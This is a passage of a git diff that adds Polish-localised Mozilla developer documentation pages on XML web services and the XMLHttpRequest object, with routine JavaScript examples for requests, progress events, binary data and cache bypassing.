diff --git a/files/pl/xml_web_services/index.html b/files/pl/xml_web_services/index.html
new file mode 100644
index 0000000000..20ab9338d8
--- /dev/null
+++ b/files/pl/xml_web_services/index.html
@@ -0,0 +1,49 @@
+---
+title: XML Web Services
+slug: XML_Web_Services
+tags:
+ - Wszystkie_kategorie
+ - XML Web Services
+translation_of: Archive/Mozilla/Firefox/SOAP_in_Gecko-based_Browsers
+---
+<p>
+</p>
+<div class="callout-box"><b><a href="pl/Podstawy_Web_Services">Podstawy Web Services</a></b><br>
+Krótkie wprowadzenie do Web Services.</div>
+<div>
+<b>Web service</b> to kolekcja protokołów i standardów używanych do wymiany danych między aplikacjami lub systemami. Aplikacje napisane w różnych językach programistycznych i uruchomione na różnych platformach mogą korzystając z web services wymieniać dane poprzez sieć taką jak Internet w sposób podobny do tego jaki wykorzystują do komunikacji wewnątrz jednego komputera. W przypadku XML-owego web service, wszystkie wymieniane dane są formatowane w XML-u. {{ Ref(1) }}</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Dokumentacja" name="Dokumentacja"> <a>Dokumentacja</a> </h4>
+<dl><dt> <a class="external" href="http://www.w3schools.com/soap/default.asp">Przewodnik W3School - SOAP</a>
+</dt><dd> <small>...</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://davenet.scripting.com/1998/07/14/xmlRpcForNewbies">XML-RPC dla Newbies</a>
+</dt><dd> <small>...</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://webservices.xml.com/pub/a/ws/2001/04/04/webservices/">A Web Services Primer</a>
+</dt><dd> <small>...</small>
+</dd></dl>
+<p><span class="alllinks"><a>Pokaż wszystkie...</a></span>
+</p>
+</td>
+<td>
+<h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87"> Społeczność </h4>
+<ul><li> Obejrzyj fora Mozilli...
+</li></ul>
+<p>{{ DiscussionList("dev-tech-xml", "mozilla.dev.tech.xml") }}
+</p>
+<ul><li> <a class="external" href="http://groups.yahoo.com/group/xml-rpc/">Lista dyskusyjna XML-RPC</a>
+</li><li> <a class="external" href="http://www.xmlrpc.com/">XML-RPC.com</a>
+</li></ul>
+<h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy"> Powiązane tematy </h4>
+<dl><dd> <a href="pl/XML">XML</a>
+</dd></dl>
+</td>
+</tr>
+</tbody></table>
+<p><small>{{ Note(1) }} Z <a class="external" href="http://en.wikipedia.org/wiki/Web_Service">Wikipedii</a>.</small>
+</p><p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/XML_Web_Services", "es": "es/Servicios_Web_XML", "fr": "fr/Services_Web_XML", "it": "it/XML_Web_Services", "ja": "ja/XML_Web_Services", "ko": "ko/XML_Web_Services", "zh-cn": "cn/XML_Web_Services" } ) }}
diff --git a/files/pl/xmlhttprequest/index.html b/files/pl/xmlhttprequest/index.html
new file mode 100644
index 0000000000..70711f894b
--- /dev/null
+++ b/files/pl/xmlhttprequest/index.html
@@ -0,0 +1,233 @@
+---
+title: XMLHttpRequest
+slug: XMLHttpRequest
+tags:
+ - AJAX
+ - Wszystkie_kategorie
+ - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest
+---
+<p>
+</p><p>Obiekt <code>XMLHttpRequest</code> jest obiektem <a href="pl/JavaScript">JavaScript</a> zaprojektowanym przez firmę Microsoft i zaadaptowanym w programach Mozilla. Służy do pobierania danych przy użyciu protokołu HTTP. Wbrew nazwie może być stosowany do obsługi dokumentów w wielu formatach, nie tylko XML, ale także <a href="pl/JSON">JSON</a>. </p><p>Artykuł ten zawiera między innymi informacje specyficzne dla silnika <a href="pl/Gecko">Gecko</a> lub kodu uprzywilejowanego, takiego jak kod rozszerzeń programu Firefox.
+</p><p>W silniku Gecko w obiekcie zaimplementowano interfejsy <code><a href="pl/NsIJSXMLHttpRequest">nsIJSXMLHttpRequest</a></code> i <code><a href="pl/NsIXMLHttpRequest">nsIXMLHttpRequest</a></code>. W najnowszych wersjach Gecko dokonano pewnych modyfikacji tego obiektu — patrz artykuł <a href="pl/Zmiany_w_obiekcie_XMLHttpRequest_w_Gecko_1.8">Zmiany w obiekcie XMLHttpRequest w Gecko 1.8</a>.
+</p>
+<h3 id="Podstawy" name="Podstawy"> Podstawy </h3>
+<p>Korzystanie z obiektu <code>XMLHttpRequest</code> jest bardzo proste. Należy utworzyć instancję obiektu, otworzyć adres URL, po czym wysłać żądanie. Zwrócony przez serwer kod stanu HTTP, jak również pobrany dokument są następnie dostępne jako własności obiektu żądania.
+</p><p>{{ Note("W wersjach Firefoksa starszych niż 3 żądania są zawsze wysyłane przy użyciu kodowania UTF-8. W programie <a href='\"pl/Firefox_3\"'>Firefox 3</a> dokument jest wysyłany poprawnie przy użyciu kodowania określonego we własności <code>data.inputEncoding</code> (gdzie <code>data</code> to obiekt przekazany do metody <code>send()</code>; obiekt ten nie może być wartością <code>null</code>). Jeżeli nie określono żadnego kodowania, używane jest kodowanie UTF-8.") }}
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h4>
+<pre>var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', false);
+req.send(null);
+if(req.status == 200)
+ dump(req.responseText);
+</pre>
+<div class="note"><b>Uwaga:</b> W tym przykładzie dane pobierane są w sposób synchroniczny — wykonanie powyższego kodu JavaScript spowoduje zablokowanie interfejsu użytkownika do momentu zakończenia pobierania. Nie należy wykorzystywać podanego kodu w praktyce.</div>
+<div class="note"><b>Uwaga:</b> W żądaniach synchronicznych nie należy korzystać z funkcji <code>onreadystatechange</code> — w przeciwnym przypadku w wersjach Firefoksa starszych niż wersja 3 zostanie ona wywołana. Program <a href="pl/Firefox_3">Firefox 3</a> jest zablokowany do momentu ukończenia procesu obsługi żądania (tak jak w powyższym przykładzie). Program Firefox 2 działa w ten sam sposób, jeżeli tylko funkcja <code>onreadystatechange</code> nie zostanie zaimplementowana.</div>
+<h4 id="Przyk.C5.82ad_dla_protoko.C5.82u_innego_ni.C5.BC_HTTP" name="Przyk.C5.82ad_dla_protoko.C5.82u_innego_ni.C5.BC_HTTP"> Przykład dla protokołu innego niż HTTP </h4>
+<pre>var req = new XMLHttpRequest();
+req.open('GET', 'file:///home/user/file.json', false);
+req.send(null);
+if(req.status == 0)
+ dump(req.responseText);
+</pre>
+<div class="note"><b>Uwaga:</b> protokoły <code><a class=" external" rel="freelink">file:///</a></code> i <code><a class=" link-ftp" href="ftp://" rel="freelink">ftp://</a></code> nie zwracają kodu stanu HTTP, stąd w ich przypadku własność <code>status</code> zwraca wartość zero, a własność <code>statusText</code> zawiera pusty ciąg znaków. Aby uzyskać więcej informacji, patrz {{ Bug(331610) }}.</div>
+<h3 id="Zastosowanie_asynchroniczne" name="Zastosowanie_asynchroniczne"> Zastosowanie asynchroniczne </h3>
+<p>W przypadku korzystania z obiektów <code>XMLHttpRequest</code> w rozszerzeniu Firefoksa pobierane dane powinny być ładowane asynchronicznie. Po całkowitym pobraniu danych przekazywane jest wywołanie zwrotne (ang. <i>callback</i>), co pozwala na normalną pracę przeglądarki podczas przetwarzania żądania.
+</p>
+<h4 id="Przyk.C5.82ad_2" name="Przyk.C5.82ad_2"> Przykład </h4>
+<pre>var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', true); /* Argument trzeci, wartość true, określa, że żądanie ma być asynchroniczne */
+req.onreadystatechange = function (aEvt) {
+ if (req.readyState == 4) {
+ if(req.status == 200)
+ dump(req.responseText);
+ else
+ dump("Błąd podczas ładowania strony\n");
+ }
+};
+req.send(null);
+</pre>
+<h4 id="Monitorowanie_post.C4.99pu" name="Monitorowanie_post.C4.99pu"> Monitorowanie postępu </h4>
+<p>Obiekt <code>XMLHttpRequest</code> umożliwia monitorowanie wielu zdarzeń, które mogą wystąpić podczas przetwarzania żądania — służą do tego okresowe powiadomienia o postępie przetwarzania, komunikaty o błędach itp.
+</p><p>Jeżeli na przykład w czasie pobierania dokumentu do użytkownika mają być wysyłane informacje o postępie przetwarzania, można skorzystać z poniższego kodu:
+</p>
+<pre>function onProgress(e) {
+ var percentComplete = (e.position / e.totalSize)*100;
+ ...
+}
+
+function onError(e) {
+ alert("Podczas pobierania dokumentu wystąpił błąd " + e.target.status + ".");
+}
+
+function onLoad(e) {
+ // ...
+}
+// ...
+var req = new XMLHttpRequest();
+req.onprogress = onProgress;
+req.open("GET", url, true);
+req.onload = onLoad;
+req.onerror = onError;
+req.send(null);
+</pre>
+<p>Atrybuty zdarzenia <code>onprogress</code>, <code>position</code> i <code>totalSize</code>, wskazują odpowiednio liczbę pobranych dotychczas bajtów i całkowitą liczbę bajtów, które mają zostać pobrane.
+</p><p>Dla wszystkich zdarzeń atrybut <code>target</code> wskazuje powiązany obiekt <code>XMLHttpRequest</code>.
+</p>
+<div class="note"><b>Uwaga:</b> przy korzystaniu z funkcji obsługi zdarzeń w dokumentach XML reprezentowanych przez obiekt <code>XMLDocument</code> program <a href="pl/Firefox_3">Firefox 3</a> sprawdza, czy wartości własności <code>target</code>, <code>currentTarget</code> i <code>this</code> obiektu zdarzenia wskazują na właściwe obiekty. Aby uzyskać szczegółowe informacje, patrz {{ Bug(198595) }}.</div>
+<h3 id="Inne_w.C5.82asno.C5.9Bci_i_metody" name="Inne_w.C5.82asno.C5.9Bci_i_metody"> Inne własności i metody </h3>
+<p>Oprócz własności i metod omówionych powyżej obiekty <code>XMLHttpRequest</code> obsługują również inne przydatne własności i metody.
+</p>
+<h4 id="responseXML" name="responseXML">responseXML</h4>
+<p>Jeżeli ładowany jest dokument <a href="pl/XML">XML</a>, własność <code>responseXML</code> zawiera treść pobranego dokumentu w postaci obiektu <code>XmlDocument</code>, do którego można uzyskać za pomocą metod DOM. Jeżeli serwer wysyła poprawnie sformatowany dokument XML, ale nie jest okreśony nagłówek XML Content-Type, za pomocą metody <code><a href="pl/XMLHttpRequest#overrideMimeType.28.29">overrideMimeType()</a></code> można wymusić przetwarzanie dokumentu jako kodu XML. Jeżeli dokument XML wysyłany z serwera nie jest sformatowany poprawnie, własność <code>responseXML</code> zwraca wartość null, niezależnie od wymuszonego typu danych.
+</p>
+<h4 id="overrideMimeType.28.29" name="overrideMimeType.28.29">overrideMimeType()</h4>
+<p>Za pomocą tej metody można wymusić sposób obsługi dokumentu, wskazując określony typ danych. Metoda ta przydaje się w sytuacji, gdy do przetwarzania otrzymanych danych ma być użyta własność <code>responseXML</code>, serwer wysyła dane w formacie <a href="pl/XML">XML</a>, ale nie jest wysyłany poprawny nagłówek Content-Type. </p>
+<div class="note"><b>Uwaga:</b> metodę tę należy wywołać przed użyciem metody <code>send()</code>.</div>
+<pre>var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', true);
+req.overrideMimeType('text/xml');
+req.send(null);
+</pre>
+<h4 id="setRequestHeader.28.29" name="setRequestHeader.28.29">setRequestHeader()</h4>
+<p>Za pomocą tej metody można ustawić dowolny nagłówek HTTP żądania przed wysłaniem go.
+</p>
+<div class="note"><b>Uwaga:</b> Przed wywołaniem tej metody należy użyć metody <code>open()</code>.</div>
+<pre>var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', true);
+req.setRequestHeader("X-Foo", "Bar");
+req.send(null);
+</pre>
+<h4 id="getResponseHeader.28.29" name="getResponseHeader.28.29">getResponseHeader()</h4>
+<p>Za pomocą tej metody można pobrać nagłówek HTTP ustawiony w odpowiedzi przesłanej przez serwer.
+</p>
+<pre>var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', false);
+req.send(null);
+dump("Content-Type: " + req.getResponseHeader("Content-Type") + "\n");
+</pre>
+<h4 id="abort.28.29" name="abort.28.29">abort()</h4>
+<p>Metoda ta służy do anulowania żądania, które jest właśnie wykonywane.
+</p>
+<pre>var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', false);
+req.send(null);
+req.abort();
+</pre>
+<h4 id="mozBackgroundRequest" name="mozBackgroundRequest">mozBackgroundRequest</h4>
+<p>{{ Fx_minversion_inline(3) }} Za pomocą tej własności można wyłączyć okna dialogowe uwierzytelniania i niewłaściwego certyfikatu, które mogą pojawiać się przy wysyłaniu żądania. Żądanie, dla którego ustawiono tę własność, nie będzie ponadto anulowane nawet w przypadku zamknięcia okna, z którego zostało wysłane. Własność ta działa wyłącznie w kodzie chrome.
+</p>
+<pre>var req = new XMLHttpRequest();
+req.mozBackgroundRequest = true;
+req.open('GET', 'http://www.mozilla.org/', true);
+req.send(null);
+</pre>
+<h3 id="Zastosowanie_w_komponentach_XPCOM" name="Zastosowanie_w_komponentach_XPCOM"> Zastosowanie w komponentach XPCOM </h3>
+<div class="note"><b>Uwaga:</b> W przypadku korzystania z obiektów XMLHttpRequest w komponentach JavaScript XPCOM wymagane są pewne zmiany.</div>
+<p>W komponentach JavaScript XPCOM niemożliwe jest utworzenie obiektów XMLHttpRequest za pomocą konstruktora <code>XMLHttpRequest()</code> — nie jest on zdefiniowany wewnątrz komponentów i jego wywołanie powoduje wystąpienie błędu. W celu utworzenia i użycia obiektu należy skorzystać z innej składni.
+</p><p>Zamiast kodu:
+</p>
+<pre>var req = new XMLHttpRequest();
+req.onprogress = onProgress;
+req.onload = onLoad;
+req.onerror = onError;
+req.open("GET", url, true);
+req.send(null);
+</pre>
+<p>należy użyć:
+</p>
+<pre>var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"]
+ .createInstance(Components.interfaces.nsIXMLHttpRequest);
+req.onprogress = onProgress;
+req.onload = onLoad;
+req.onerror = onError;
+req.open("GET", url, true);
+req.send(null);
+</pre>
+<p>W kodzie w języku C++ można za pomocą metody QueryInterface przesłać komponent do interfejsu <code>nsIEventTarget</code>, aby ustawić procedury obsługi zdarzeń; bezpośrednie korzystanie z kanału jest jednak lepszą techniką.
+</p>
+<h3 id="Ograniczona_liczba_jednoczesnych_po.C5.82.C4.85cze.C5.84_nawi.C4.85zywanych_przez_obiekty_XMLHttpRequest" name="Ograniczona_liczba_jednoczesnych_po.C5.82.C4.85cze.C5.84_nawi.C4.85zywanych_przez_obiekty_XMLHttpRequest"> Ograniczona liczba jednoczesnych połączeń nawiązywanych przez obiekty XMLHttpRequest </h3>
+<p>Maksymalna liczba połączeń, określona w preferencji <code>network.http.max-persistent-connections-per-server</code> (dostępnej w oknie <code>about:config</code>), jest domyślnie ograniczona do 2. Niektóre interaktywne strony internetowe, na których używane są obiekty XMLHttpRequest, mogą podtrzymywać otwarte połączenie. Otwarcie dwóch lub trzech takich stron w osobnych kartach lub oknach może spowodować awarię przeglądarki, w wyniku której zawartość okien nie będzie odświeżana, a sama aplikacja przestanie odpowiadać.
+</p>
+<h3 id="Zawarto.C5.9B.C4.87_binarna" name="Zawarto.C5.9B.C4.87_binarna"> Zawartość binarna </h3>
+<p>Chociaż wysyłanie i odbieranie danych tekstowych jest najbardziej popularnym zastosowaniem obiektu <code>XMLHttpRequest</code>, za jego pomocą można także przesyłać zawartość binarną.
+</p>
+<h4 id="Pobieranie_zawarto.C5.9Bci_binarnej" name="Pobieranie_zawarto.C5.9Bci_binarnej">Pobieranie zawartości binarnej</h4>
+<pre>// Synchroniczne pobieranie PLIKÓW BINARNYCH za pomocą obiektu XMLHttpRequest
+function load_binary_resource(url) {
+ var req = new XMLHttpRequest();
+ req.open('GET', url, false);
+ //XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com]
+ req.overrideMimeType('text/plain; charset=x-user-defined');
+ req.send(null);
+ if (req.status != 200) return '';
+ return req.responseText;
+}
+
+var filestream = load_binary_resource(url);
+// x to offset (tzn. pozycja) bajtu w zwróconym strumieniu pliku binarnego.
+// Wartość x powinna mieścić się w zakresie od 0 do filestream.length-1.
+var abyte = filestream.charCodeAt(x) &amp; 0xff; // usunięcie najbardziej znaczącego (górnego) bajtu (f7)
+</pre>
+<p>Szczegółowe wyjaśnienia można znaleźć w <a class="external" href="http://mgran.blogspot.com/2006/08/downloading-binary-streams-with.html">artykule dotyczącym pobierania zawartości binarnej za pomocą obiektu XMLHttpRequest</a>. Patrz także <a href="pl/Fragmenty_kodu/Pobieranie_plik%c3%b3w">Pobieranie plików</a>.
+</p>
+<h4 id="Wysy.C5.82anie_zawarto.C5.9Bci_binarnej" name="Wysy.C5.82anie_zawarto.C5.9Bci_binarnej">Wysyłanie zawartości binarnej</h4>
+<p>W poniższym przykładzie zawartość binarna jest wysyłana asynchronicznie za pomocą metody POST. Zmienna <code>aBody</code> reprezentuje wysyłane dane.</p>
+<pre class="eval"> var req = new XMLHttpRequest();
+ req.open("POST", url, true);
+ // ustawienie odpowiednich nagłówków i typu MIME
+ req.setRequestHeader("Content-Length", 741);
+ req.sendAsBinary(aBody);
+</pre>
+<p>Zawartość binarną można także wysłać, przekazując instancję interfejsu <a href="/pl/NsIFileInputStream" title="pl/NsIFileInputStream">nsIFileInputStream</a> do metody <code>req.send()</code>. W takim przypadku nie jest konieczne ustawienie nagłówka <code>Content-Length</code>:</p>
+<pre>// Tworzenie strumienia z pliku.
+var stream = Components.classes["@mozilla.org/network/file-input-stream;1"]
+ .createInstance(Components.interfaces.nsIFileInputStream);
+stream.init(file, 0x04 | 0x08, 0644, 0x04); // file to instancja interfejsu nsIFile
+
+// Próba określenia typu MIME pliku
+var mimeType = "text/plain";
+try {
+ var mimeService = Components.classes["@mozilla.org/mime;1"].getService(Components.interfaces.nsIMIMEService);
+ mimeType = mimeService.getTypeFromFile(file); // file to instancja interfejsu nsIFile
+}
+catch(e) { /* W tym przypadku zastosuj po prostu typ text/plain */ }
+
+// Wysłanie
+var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"]
+ .createInstance(Components.interfaces.nsIXMLHttpRequest);
+req.open('PUT', url, false); /* synchronicznie! */
+req.setRequestHeader('Content-Type', mimeType);
+req.send(stream);
+</pre><h3 id="Pomijanie_pami.C4.99ci_podr.C4.99cznej" name="Pomijanie_pami.C4.99ci_podr.C4.99cznej">Pomijanie pamięci podręcznej</h3>
+<p>Obiekt <code>XMLHttpRequest</code> próbuje z reguły pobrać zawartość z lokalnej pamięci podręcznej. Aby pominąć tę próbę, należy skorzystać z poniższego kodu:
+</p>
+<pre class="eval"> var req = new XMLHttpRequest();
+ <b>req.channel.loadFlags |= Components.interfaces.nsIRequest.LOAD_BYPASS_CACHE;</b>
+ req.open('GET', url, false);
+ req.send(null);
+</pre>
+<p>Istnieje także alternatywny sposób pomijania pamięci podręcznej, opisany <a class="external" href="http://mozdev.org/pipermail/project_owners/2006-August/008353.html">tutaj</a>:
+</p>
+<pre class="eval"> var req = new XMLHttpRequest();
+ req.open("GET", url += (url.match(/\?/) == null ? "?" : "&amp;") + (new Date()).getTime(), false);
+ req.send(null);
+</pre>
+<p>Do adresu URL dodawany jest parametr zawierający znacznik czasu (odpowiednio wstawiane są znaki ? i &amp;). Na przykład adres <a class=" external" href="http://foo.com/bar.html" rel="freelink">http://foo.com/bar.html</a> jest przekształcany na <a class=" external" href="http://foo.com/bar.html?12345" rel="freelink">http://foo.com/bar.html?12345</a>, a <a class=" external" href="http://foo.com/bar.html?foobar=baz" rel="freelink">http://foo.com/bar.html?foobar=baz</a> zostaje zamieniany na <a class=" external" href="http://foo.com/bar.html?foobar=baz&amp;12345" rel="freelink">http://foo.com/bar.html?foobar=baz&amp;12345</a>. Lokalna pamięć podręczna jest indeksowana przy użyciu adresów URL; tymczasem, ponieważ każdy adres URL w obiekcie XMLHttpRequest jest niepowtarzalny, pamięć podręczna jest zawsze pomijana.
+</p>
+<h3 id="Pobieranie_kodu_JSON_i_JavaScript_w_rozszerzeniach" name="Pobieranie_kodu_JSON_i_JavaScript_w_rozszerzeniach">Pobieranie kodu JSON i JavaScript w rozszerzeniach</h3>
+<p>W rozszerzeniach do przetwarzania pobieranego z sieci kodu JSON lub JavaScript nie należy używać metody <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/eval"><code>eval()</code></a>. Szczegółowe informacje można znaleźć w artykule <a href="pl/Pobieranie_kodu_JSON_i_JavaScript_w_rozszerzeniach">Pobieranie kodu JSON i JavaScript w rozszerzeniach</a>.
+</p>
+<h3 id="Odno.C5.9Bniki" name="Odno.C5.9Bniki"> Odnośniki </h3>
+<ol><li> <a href="pl/AJAX/Na_pocz%c4%85tek">AJAX: wprowadzenie</a>
+</li><li> <a class="external" href="http://www.peej.co.uk/articles/rich-user-experience.html">Obiekt XMLHttpRequest - architektura REST i zaawansowane interfejsy użytkownika</a> (artykuł w j. ang.)
+</li><li> <a class="external" href="http://www.xulplanet.com/references/objref/XMLHttpRequest.html">Dokumentacja XULPlanet</a> (artykuł w j. ang.)
+</li><li> <a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/xmobjxmlhttprequest.asp">Dokumentacja firmy Microsoft</a> (artykuł w j. ang.)
+</li><li> <a class="external" href="http://developer.apple.com/internet/webcontent/xmlhttpreq.html">Materiały dla programistów Apple</a> (artykuł w j. ang.)
+</li><li> <a class="external" href="http://jibbering.com/2002/4/httprequest.html">Korzystanie z obiektu XMLHttpRequest (jibbering.com)</a> (artykuł w j. ang.)
+</li><li> <a class="external" href="http://www.w3.org/TR/XMLHttpRequest/">Obiekt XMLHttpRequest: robocza wersja specyfikacji W3C</a> (artykuł w j. ang.)
+</li></ol>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XMLHttpRequest", "es": "es/XMLHttpRequest", "fr": "fr/XMLHttpRequest", "it": "it/XMLHttpRequest", "ja": "ja/XMLHttpRequest", "ko": "ko/XMLHttpRequest", "zh-cn": "cn/XMLHttpRequest" } ) }}
diff --git a/files/pl/xmlhttprequest/using_xmlhttprequest/index.html b/files/pl/xmlhttprequest/using_xmlhttprequest/index.html
new file mode 100644
index 0000000000..b804b9992c
--- /dev/null
+++ b/files/pl/xmlhttprequest/using_xmlhttprequest/index.html
@@ -0,0 +1,657 @@
+---
+title: Wykorzystanie XMLHttpRequest
+slug: XMLHttpRequest/Using_XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest
+---
+<p><a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest"><code>XMLHttpRequest</code></a> makes sending HTTP requests very easy.  You simply create an instance of the object, open a URL, and send the request.  The <a href="/en-US/docs/HTTP/HTTP_response_codes" title="HTTP response codes">HTTP status</a> of the result, as well as the result's contents, are available in the request object when the transaction is completed. This page outlines some of the common and even slightly obscure use cases for this powerful JavaScript object.</p>
+<pre class="brush: js">function reqListener () {
+  console.log(this.responseText);
+}
+
+var oReq = new XMLHttpRequest();
+oReq.onload = reqListener;
+oReq.open("get", "yourFile.txt", true);
+oReq.send();</pre>
+<h2 id="Types_of_requests">Types of requests</h2>
+<p>A request made via XMLHttpRequest can fetch the data in one of two ways, asynchronously or synchronously. The type of request is dictated by the optional <code>async</code> argument (the third argument) that is set on the XMLHttpRequest <a href="/en-US/docs/DOM/XMLHttpRequest#open()" title="DOM/XMLHttpRequest#open()">open()</a> method. If this argument is <code>true</code> or not specified, the <code>XMLHttpRequest</code> is processed asynchronously, otherwise the process is handled synchronously. A detailed discussion and demonstrations of these two types of requests can be found on the <a href="/en-US/docs/DOM/XMLHttpRequest/Synchronous_and_Asynchronous_Requests" title="Synchronous and Asynchronous Requests">synchronous and asynchronous requests</a> page. In general, you should rarely if ever use synchronous requests.</p>
+<div class="note">
+ <strong>Note:</strong> Starting with Gecko 30.0 {{ geckoRelease("30.0") }}, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.</div>
+<h2 id="Handling_responses">Handling responses</h2>
+<p>There are several types of <a href="http://www.w3.org/TR/XMLHttpRequest2/#response" title="http://www.w3.org/TR/XMLHttpRequest2/#response">response attributes</a> defined by the W3C specification for XMLHttpRequest.  These tell the client making the XMLHttpRequest important information about the status of the response. Some<span style="line-height: 1.572;"> cases where dealing with non-text response types may involve some manipulation and analysis as outlined in the following sections.</span></p>
+<h3 id="Analyzing_and_manipulating_the_responseXML_property">Analyzing and manipulating the <code>responseXML</code> property</h3>
+<p>If you use <code>XMLHttpRequest </code>to get the content of a remote XML document, the <code>responseXML </code>property will be a DOM Object containing a parsed XML document, which can be hard to manipulate and analyze. There are four primary ways of analyzing this XML document:</p>
+<ol>
+ <li>Using <a href="/en-US/docs/XPath" title="XPath">XPath</a> to address (point to) parts of it.</li>
+ <li>Using <a href="/en-US/docs/JXON" title="JXON">JXON</a> to convert it into a JavaScript Object tree.</li>
+ <li>Manually <a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">Parsing and serializing XML</a> to strings or objects.</li>
+ <li>Using <a href="/en-US/docs/XMLSerializer" title="XMLSerializer">XMLSerializer</a> to serialize <strong>DOM trees to strings or to files</strong>.</li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/regexp">RegExp </a>can be used if you always know the content of the XML document beforehand. You might want to remove line breaks, if you use RegExp to scan with regard to linebreaks. However, this method is a "last resort" since if the XML code changes slightly, the method will likely fail.</li>
+</ol>
+<h3 id="Analyzing_and_manipulating_a_responseText_property_containing_an_HTML_document">Analyzing and manipulating a <code>responseText</code> property containing an HTML document</h3>
+<div class="note">
+ <strong>Note:</strong> The W3C <a href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a> specification allows HTML parsing via the <code>XMLHttpRequest.responseXML</code> property. Read the article about <a href="/en-US/docs/HTML_in_XMLHttpRequest" title="HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a> for details.</div>
+<p>If you use <code>XMLHttpRequest</code> to get the content of a remote HTML webpage, the <code>responseText</code> property is a string containing a "soup" of all the HTML tags, which can be hard to manipulate and analyze. There are three primary ways of analyzing this HTML soup string:</p>
+<ol>
+ <li>Use the <code>XMLHttpRequest.responseXML</code> property.</li>
+ <li>Inject the content into the body of a <a href="/en-US/docs/Web/API/DocumentFragment">document fragment</a> via <code>fragment.body.innerHTML</code> and traverse the DOM of the fragment.</li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/regexp">RegExp </a>can be used if you always know the content of the HTML <code>responseText </code>beforehand. You might want to remove line breaks, if you use RegExp to scan with regard to linebreaks. However, this method is a "last resort" since if the HTML code changes slightly, the method will likely fail.</li>
+</ol>
+<h2 id="Handling_binary_data">Handling binary data</h2>
+<p>Although <code>XMLHttpRequest</code> is most commonly used to send and receive textual data, it can be used to send and receive binary content. There are several well tested methods for coercing the response of an XMLHttpRequest into sending binary data. These involve utilizing the <code>.overrideMimeType()</code> method on the XMLHttpRequest object and is a workable solution.</p>
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+oReq.open("GET", url, true);
+// retrieve data unprocessed as a binary string
+oReq.overrideMimeType("text/plain; charset=x-user-defined");
+/* ... */
+</pre>
+<p>The XMLHttpRequest Level 2 Specification adds new <a href="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute" title="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute">responseType attributes</a> which make sending and receiving binary data much easier.</p>
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+
+oReq.onload = function(e) {
+  var arraybuffer = oReq.response; // not responseText
+  /* ... */
+}
+<span style="font-size: 1rem;">oReq.open("GET", url, true);
+</span><span style="font-size: 1rem;"><span style="font-size: 1rem;">oReq.responseType = "arraybuffer";
+</span>oReq.send();</span></pre>
+<p>For more examples check out the <a href="/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data" title="DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data">Sending and Receiving Binary Data</a> page</p>
+<h2 id="Monitoring_progress">Monitoring progress</h2>
+<p><code>XMLHttpRequest</code> provides the ability to listen to various events that can occur while the request is being processed. This includes periodic progress notifications, error notifications, and so forth.</p>
+<p>Support for DOM progress event monitoring of <code>XMLHttpRequest</code> transfers follows the Web API <a href="http://dev.w3.org/2006/webapi/progress/Progress.html" title="http://dev.w3.org/2006/webapi/progress/Progress.html">specification for progress events</a>: these events implement the {{domxref("ProgressEvent")}} interface.</p>
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.addEventListener("progress", updateProgress, false);
+oReq.addEventListener("load", transferComplete, false);
+oReq.addEventListener("error", transferFailed, false);
+oReq.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+
+// ...
+
+// progress on transfers from the server to the client (downloads)
+function updateProgress (oEvent) {
+  if (oEvent.lengthComputable) {
+    var percentComplete = oEvent.loaded / oEvent.total;
+    // ...
+  } else {
+    // Unable to compute progress information since the total size is unknown
+  }
+}
+
+function transferComplete(evt) {
+ alert("The transfer is complete.");
+}
+
+function transferFailed(evt) {
+ alert("An error occurred while transferring the file.");
+}
+
+function transferCanceled(evt) {
+ alert("The transfer has been canceled by the user.");
+}</pre>
+<p>Lines 3-6 add event listeners for the various events that are sent while performing a data transfer using <code>XMLHttpRequest</code>.</p>
+<div class="note">
+ <strong>Note:</strong> You need to add the event listeners before calling <code>open()</code> on the request.  Otherwise the progress events will not fire.</div>
+<p>The progress event handler, specified by the <code>updateProgress()</code> function in this example, receives the total number of bytes to transfer as well as the number of bytes transferred so far in the event's <code>total</code> and <code>loaded</code> fields.  However, if the <code>lengthComputable</code> field is false, the total length is not known and will be zero.</p>
